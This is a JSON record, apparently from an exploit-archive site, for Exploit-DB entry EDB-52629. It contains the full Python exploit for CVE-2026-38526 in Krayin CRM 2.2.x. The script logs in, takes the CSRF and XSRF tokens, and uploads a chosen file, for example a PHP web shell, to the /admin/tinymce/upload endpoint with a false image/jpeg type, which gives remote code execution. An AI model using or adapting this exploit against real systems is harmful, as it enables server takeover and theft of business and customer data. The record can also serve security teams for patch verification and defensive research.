{"exploit":{"id":"EDB-52629","name":"Krayin CRM 2.2.x - Authenticated Remote Code Execution (RCE)","description":"Krayin CRM 2.2.x - Authenticated Remote Code Execution (RCE)","cves":["CVE-2026-38526"],"author":"Diamorphine","published":"2026-07-08","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52629","path":"exploits/multiple/webapps/52629.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52629.py","vulnerabilities":[{"id":"CVE-2026-38526","state":"PUBLISHED","title":null,"titleSource":null,"description":"An authenticated arbitrary file upload vulnerability in the /admin/tinymce/upload endpoint of Webkul Krayin CRM v2.2.x allows attackers to execute arbitrary code via uploading a crafted PHP file.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-38526","cvss":{"version":"3.1","baseScore":9.9,"severity":"critical","vectorString":"CVSS:3.1/AC:L/AV:N/A:H/C:H/I:H/PR:L/S:C/UI:N","source":"mitre","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-38526"},"updatedAt":"2026-04-14T17:50:54.198Z","retrievedAt":"2026-11-25T16:13:47.428Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52629.png?v=2","url":"https://exploitbin.com/exploits/EDB-52629","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52629/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52629/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title:   Krayin CRM v2.2.x - Authenticated Remote Code Execution\n# Date: 07/05/2026\n# Exploit Author: Diamorphine\n# Vendor Homepage: https://krayincrm.com\n# Software Link: https://github.com/krayin/laravel-crm\n# Version: 2.2.x\n# Tested on: Debian\n# CVE : CVE-2026-38526\n\n\nimport asyncio\nimport httpx\nfrom urllib.parse import *\nimport argparse\nfrom bs4 import BeautifulSoup\nimport json\n\n\nasync def main(url, user, password, file):\n    async with httpx.AsyncClient(verify=False) as client:\n        url_login = urljoin(url, \"/admin/login\")\n        upload_url = urljoin(url, \"/admin/tinymce/upload\")\n        get_tokens = await client.get(url=url_login)\n        soup = BeautifulSoup(get_tokens.text, 'html.parser')\n        _token = soup.find('input').get('value')\n\n        login_data = {\n            \"_token\": _token,\n            \"email\": user,\n            \"password\": password\n        }\n\n        login_r = await client.post(url=url_login, data=login_data)\n        xsrf_token = login_r.cookies.get(\"XSRF-TOKEN\")\n        headers = {\n            \"X-XSRF-TOKEN\": unquote(xsrf_token)\n        }\n\n        with open(file, 'rb') as o_file:\n            r = await client.post(url=upload_url, files={\"file\": (o_file.name, o_file, \"image/jpeg\")}, headers=headers)\n            if r.status_code == 200:\n                exploit_url = r.json().get('location')\n                print(f'[+] File uploaded successfully.\\nPath to file: {exploit_url}')\n            else:\n                print('[-] File not uploaded.')\n\nparser = argparse.ArgumentParser(description=\"Exploit for CVE-2026-38526, authenticated file upload.\")\n\nparser.add_argument('-t', '--target', required=True, help=\"Target url. E.g. http://127.0.0.1\")\nparser.add_argument('-u', '--user', required=True, help=\"Email.\")\nparser.add_argument('-p', '--password', required=True, help=\"Password.\")\nparser.add_argument('-f', '--file', required=True, help=\"File to upload (/home/user/shell.php).\")\n\nargs = parser.parse_args()\n\nif __name__ == '__main__':\n    asyncio.run(main(args.target, args.user, args.password, args.file))","sha256":"387d1f13458765de877c634b2d6dce2ee12028f92f3f46203a930397609a759a","bytes":2066,"fetchedAt":"2026-11-26T08:55:55.784Z","encoding":"utf-8 (display only; download retains original bytes)"}